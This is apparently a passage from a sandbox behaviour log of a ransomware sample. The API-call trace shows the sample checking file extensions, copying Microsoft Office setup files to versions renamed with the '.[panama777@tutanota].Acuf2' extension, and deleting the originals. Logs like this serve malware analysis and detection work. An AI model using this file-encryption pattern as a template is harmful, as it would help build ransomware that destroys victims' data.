	[0044.863] lstrlenW (lpString=".ppt") returned 4
	[0044.863] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.863] lstrlenW (lpString=".zip") returned 4
	[0044.863] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.863] lstrlenW (lpString=".rar") returned 4
	[0044.863] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.863] lstrlenW (lpString=".bz2") returned 4
	[0044.863] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.863] lstrlenW (lpString=".7z") returned 3
	[0044.863] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.863] lstrlenW (lpString=".dbf") returned 4
	[0044.863] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.863] lstrlenW (lpString=".1cd") returned 4
	[0044.863] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.863] lstrlenW (lpString=".jpg") returned 4
	[0044.863] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.863] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.863] lstrlenW (lpString="OfficeMUISet.XML") returned 16
	[0044.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0044.864] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=819) returned 1
	[0044.864] CloseHandle (hObject=0x1e4) returned 1
	[0044.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20
	[0044.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0044.865] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.865] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0044.866] GetLastError () returned 0x0
	[0044.866] ReadFile (in: hFile=0x1e4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x333, lpOverlapped=0x0) returned 1
	[0045.084] WriteFile (in: hFile=0x170, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x340, lpOverlapped=0x0) returned 1
	[0045.085] ReadFile (in: hFile=0x1e4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.085] WriteFile (in: hFile=0x170, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0045.085] SetEndOfFile (hFile=0x170) returned 1
	[0045.085] CloseHandle (hObject=0x170) returned 1
	[0045.086] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.086] SetEndOfFile (hFile=0x1e4) returned 1
	[0045.087] CloseHandle (hObject=0x1e4) returned 1
	[0045.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.087] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1
	[0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.088] lstrlenW (lpString=".doc") returned 4
	[0045.088] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.088] lstrlenW (lpString=".docx") returned 5
	[0045.088] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0045.088] lstrlenW (lpString=".pdf") returned 4
	[0045.088] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.088] lstrlenW (lpString=".xls") returned 4
	[0045.088] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.088] lstrlenW (lpString=".xlsx") returned 5
	[0045.088] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0045.088] lstrlenW (lpString=".ppt") returned 4
	[0045.088] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.088] lstrlenW (lpString=".zip") returned 4
	[0045.088] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.088] lstrlenW (lpString=".rar") returned 4
	[0045.088] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.088] lstrlenW (lpString=".bz2") returned 4
	[0045.088] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.088] lstrlenW (lpString=".7z") returned 3
	[0045.088] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.088] lstrlenW (lpString=".dbf") returned 4
	[0045.088] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.088] lstrlenW (lpString=".1cd") returned 4
	[0045.089] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.089] lstrlenW (lpString=".jpg") returned 4
	[0045.089] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.089] lstrlenW (lpString=".doc") returned 4
	[0045.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString=".docx") returned 5
	[0045.089] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0045.089] lstrlenW (lpString=".pdf") returned 4
	[0045.089] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString=".xls") returned 4
	[0045.089] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString=".xlsx") returned 5
	[0045.089] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0045.089] lstrlenW (lpString=".ppt") returned 4
	[0045.089] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.089] lstrlenW (lpString=".zip") returned 4
	[0045.089] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.089] lstrlenW (lpString=".rar") returned 4
	[0045.089] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString=".bz2") returned 4
	[0045.089] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.089] lstrlenW (lpString=".7z") returned 3
	[0045.089] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.089] lstrlenW (lpString=".dbf") returned 4
	[0045.089] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.090] lstrlenW (lpString=".1cd") returned 4
	[0045.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109
	[0045.090] lstrlenW (lpString=".jpg") returned 4
	[0045.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.090] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0045.090] lstrlenW (lpString="PSCONFIG.CHM") returned 12
	[0045.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.141] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=37689) returned 1
	[0045.141] CloseHandle (hObject=0x1e8) returned 1
	[0045.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20
	[0045.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.141] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.141] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0045.144] GetLastError () returned 0x0
	[0045.144] ReadFile (in: hFile=0x1e8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x9339, lpOverlapped=0x0) returned 1
	[0045.156] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x9340, lpOverlapped=0x0) returned 1
	[0045.157] ReadFile (in: hFile=0x1e8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.157] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0045.157] SetEndOfFile (hFile=0x1f0) returned 1
	[0045.157] CloseHandle (hObject=0x1f0) returned 1
	[0045.159] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.159] SetEndOfFile (hFile=0x1e8) returned 1
	[0045.160] CloseHandle (hObject=0x1e8) returned 1
	[0045.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.160] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1
	[0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.160] lstrlenW (lpString=".doc") returned 4
	[0045.160] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString=".docx") returned 5
	[0045.161] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1
	[0045.161] lstrlenW (lpString=".pdf") returned 4
	[0045.161] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString=".xls") returned 4
	[0045.161] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString=".xlsx") returned 5
	[0045.161] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1
	[0045.161] lstrlenW (lpString=".ppt") returned 4
	[0045.161] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.161] lstrlenW (lpString=".zip") returned 4
	[0045.161] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString=".rar") returned 4
	[0045.161] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString=".bz2") returned 4
	[0045.161] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.161] lstrlenW (lpString=".7z") returned 3
	[0045.161] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.161] lstrlenW (lpString=".dbf") returned 4
	[0045.161] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.161] lstrlenW (lpString=".1cd") returned 4
	[0045.161] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.161] lstrlenW (lpString=".jpg") returned 4
	[0045.161] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.162] lstrlenW (lpString=".doc") returned 4
	[0045.162] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.162] lstrlenW (lpString=".docx") returned 5
	[0045.162] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1
	[0045.162] lstrlenW (lpString=".pdf") returned 4
	[0045.162] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.162] lstrlenW (lpString=".xls") returned 4
	[0045.162] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.162] lstrlenW (lpString=".xlsx") returned 5
	[0045.162] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1
	[0045.162] lstrlenW (lpString=".ppt") returned 4
	[0045.162] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.162] lstrlenW (lpString=".zip") returned 4
	[0045.162] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.162] lstrlenW (lpString=".rar") returned 4
	[0045.162] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.162] lstrlenW (lpString=".bz2") returned 4
	[0045.162] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.162] lstrlenW (lpString=".7z") returned 3
	[0045.162] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.162] lstrlenW (lpString=".dbf") returned 4
	[0045.162] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.162] lstrlenW (lpString=".1cd") returned 4
	[0045.162] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0045.162] lstrlenW (lpString=".jpg") returned 4
	[0045.162] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.163] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.163] lstrlenW (lpString="Office32WW.XML") returned 14
	[0045.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.163] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=4274) returned 1
	[0045.163] CloseHandle (hObject=0x1e8) returned 1
	[0045.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20
	[0045.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.163] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.163] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0045.164] GetLastError () returned 0x0
	[0045.164] ReadFile (in: hFile=0x1e8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0045.168] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0045.169] ReadFile (in: hFile=0x1e8, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.169] WriteFile (in: hFile=0x1f0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0045.169] SetEndOfFile (hFile=0x1f0) returned 1
	[0045.169] CloseHandle (hObject=0x1f0) returned 1
	[0045.170] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.170] SetEndOfFile (hFile=0x1e8) returned 1
	[0045.171] CloseHandle (hObject=0x1e8) returned 1
	[0045.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.171] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1
	[0045.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.172] lstrlenW (lpString=".doc") returned 4
	[0045.172] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.172] lstrlenW (lpString=".docx") returned 5
	[0045.172] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0045.172] lstrlenW (lpString=".pdf") returned 4
	[0045.172] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.172] lstrlenW (lpString=".xls") returned 4
	[0045.172] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.172] lstrlenW (lpString=".xlsx") returned 5
	[0045.172] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0045.172] lstrlenW (lpString=".ppt") returned 4
	[0045.172] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0045.172] lstrlenW (lpString=".zip") returned 4
	[0045.172] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.172] lstrlenW (lpString=".rar") returned 4
	[0045.172] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.172] lstrlenW (lpString=".bz2") returned 4
